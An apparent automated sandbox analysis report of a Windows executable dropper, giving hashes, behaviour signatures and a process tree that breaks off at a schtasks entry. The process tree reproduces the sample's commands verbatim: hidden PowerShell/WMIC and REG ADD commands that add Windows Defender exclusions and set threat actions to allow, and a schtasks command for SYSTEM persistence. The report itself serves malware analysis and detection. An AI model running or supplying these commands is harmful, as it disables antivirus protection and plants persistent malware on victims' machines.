Analysis

  • max time kernel
    142s
  • max time network
    146s
  • platform
    windows11-21h2_x64
  • resource
    win11-20240214-en
  • resource tags

    arch:x64arch:x86image:win11-20240214-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    06/04/2024, 05:01

General

  • Target

    106d883758255a2ad087a5134b44276918cbe55d1082864a561c76644891d035.exe

  • Size

    6.9MB

  • MD5

    1d2f8f1f8f977ac2ce5c7d69142d92c9

  • SHA1

    5a07aa99a86a66239204bd684894a080bf5b87fa

  • SHA256

    106d883758255a2ad087a5134b44276918cbe55d1082864a561c76644891d035

  • SHA512

    2089a48f6798257358e43e0e0cda66934405ba212da14c311c4deb52b382db1578d28b8ccc8f4e347f4f8b120081e05b83c3f4d9df0a3df1b3d1228ff34ed4e0

  • SSDEEP

    196608:91OShrfn90vjbQL0MZMFoENqo0C029v7CGQp0wooD/:3OWrojkLwFo51ETCGa0woa/

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 31 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\106d883758255a2ad087a5134b44276918cbe55d1082864a561c76644891d035.exe
    "C:\Users\Admin\AppData\Local\Temp\106d883758255a2ad087a5134b44276918cbe55d1082864a561c76644891d035.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3644
    • C:\Users\Admin\AppData\Local\Temp\7zS6A62.tmp\Install.exe
      .\Install.exe /AdidysikD "385118" /S
      2⤵
      • Checks BIOS information in registry
      • Executes dropped EXE
      • Enumerates system info in registry
      • Suspicious use of WriteProcessMemory
      PID:3160
      • C:\Windows\SysWOW64\forfiles.exe
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1088
        • C:\Windows\SysWOW64\cmd.exe
          /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4060
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
            5⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:5036
            • C:\Windows\SysWOW64\Wbem\WMIC.exe
              "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
              6⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:2628
      • C:\Windows\SysWOW64\schtasks.exe
        schtasks /CREATE /TN "bpJjqbWMDOjxkYrvBb" /SC once /ST 05:02:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\ZdAYUvLVhVtfvZJ\OjCHFYM.exe\" Oz /qmsite_idPOM 385118 /S" /V1 /F
        3⤵
        • Drops file in Windows directory
        • Creates scheduled task(s)
        PID:4976
  • C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\ZdAYUvLVhVtfvZJ\OjCHFYM.exe
    C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\ZdAYUvLVhVtfvZJ\OjCHFYM.exe Oz /qmsite_idPOM 385118 /S
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    PID:1204
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
      2⤵
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1396
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4872
        • C:\Windows\SysWOW64\reg.exe
          REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
          4⤵
            PID:2244
        • C:\Windows\SysWOW64\reg.exe
          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
          3⤵
            PID:3432
          • C:\Windows\SysWOW64\reg.exe
            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
            3⤵
              PID:1328
            • C:\Windows\SysWOW64\reg.exe
              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
              3⤵
                PID:932
              • C:\Windows\SysWOW64\reg.exe
                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                3⤵
                  PID:392
                • C:\Windows\SysWOW64\reg.exe
                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                  3⤵
                    PID:3788
                  • C:\Windows\SysWOW64\reg.exe
                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                    3⤵
                      PID:3320
                    • C:\Windows\SysWOW64\reg.exe
                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                      3⤵
                        PID:3228
                      • C:\Windows\SysWOW64\reg.exe
                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                        3⤵
                          PID:4800
                        • C:\Windows\SysWOW64\reg.exe
                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                          3⤵
                            PID:1048
                          • C:\Windows\SysWOW64\reg.exe
                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                            3⤵
                              PID:2492
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:952
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:4224
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:4668
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:2036
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:1560
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:3704
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:1896
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:2656
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:4232
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:3928
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:4372
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:3804
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:2432
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:3832
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:716
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:4420
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:4588
                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VDiAXGzPiWUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\VDiAXGzPiWUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epUZFeichsCPC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\epUZFeichsCPC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fZHZowTYSgfU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\fZHZowTYSgfU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qBvbbKpBU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\qBvbbKpBU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nxeoDZreGracWIVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\nxeoDZreGracWIVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\JHEwijpMlSQrgvQB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\JHEwijpMlSQrgvQB\" /t REG_DWORD /d 0 /reg:64;"
                                                              2⤵
                                                              • Drops file in System32 directory
                                                              • Modifies data under HKEY_USERS
                                                              • Suspicious behavior: EnumeratesProcesses
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:4164
                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR" /t REG_DWORD /d 0 /reg:32
                                                                3⤵
                                                                  PID:2684
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR" /t REG_DWORD /d 0 /reg:32
                                                                    4⤵
                                                                      PID:3036
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\BxVXPYvVqGWoUZKItHR" /t REG_DWORD /d 0 /reg:64
                                                                    3⤵
                                                                      PID:2764
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VDiAXGzPiWUn" /t REG_DWORD /d 0 /reg:32
                                                                      3⤵
                                                                        PID:2096
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\VDiAXGzPiWUn" /t REG_DWORD /d 0 /reg:64
                                                                        3⤵
                                                                          PID:560
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epUZFeichsCPC" /t REG_DWORD /d 0 /reg:32
                                                                          3⤵
                                                                            PID:2784
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\epUZFeichsCPC" /t REG_DWORD /d 0 /reg:64
                                                                            3⤵
                                                                              PID:2392
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fZHZowTYSgfU2" /t REG_DWORD /d 0 /reg:32
                                                                              3⤵
                                                                                PID:1044
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\fZHZowTYSgfU2" /t REG_DWORD /d 0 /reg:64
                                                                                3⤵
                                                                                  PID:864
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qBvbbKpBU" /t REG_DWORD /d 0 /reg:32
                                                                                  3⤵
                                                                                    PID:4764
                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qBvbbKpBU" /t REG_DWORD /d 0 /reg:64
                                                                                    3⤵
                                                                                      PID:436
                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nxeoDZreGracWIVB /t REG_DWORD /d 0 /reg:32
                                                                                      3⤵
                                                                                        PID:1404
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\ProgramData\nxeoDZreGracWIVB /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:1408
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:2868
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:1188
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:1948
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:4612
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:2500
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Users\Admin\AppData\Local\Temp\BOcTyFPPxAyjCEkla /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:900
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\JHEwijpMlSQrgvQB /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:4280
                                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\JHEwijpMlSQrgvQB /t REG_DWORD /d 0 /reg:64
                                                                                                        3⤵
                                                                                                          PID:4876
                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
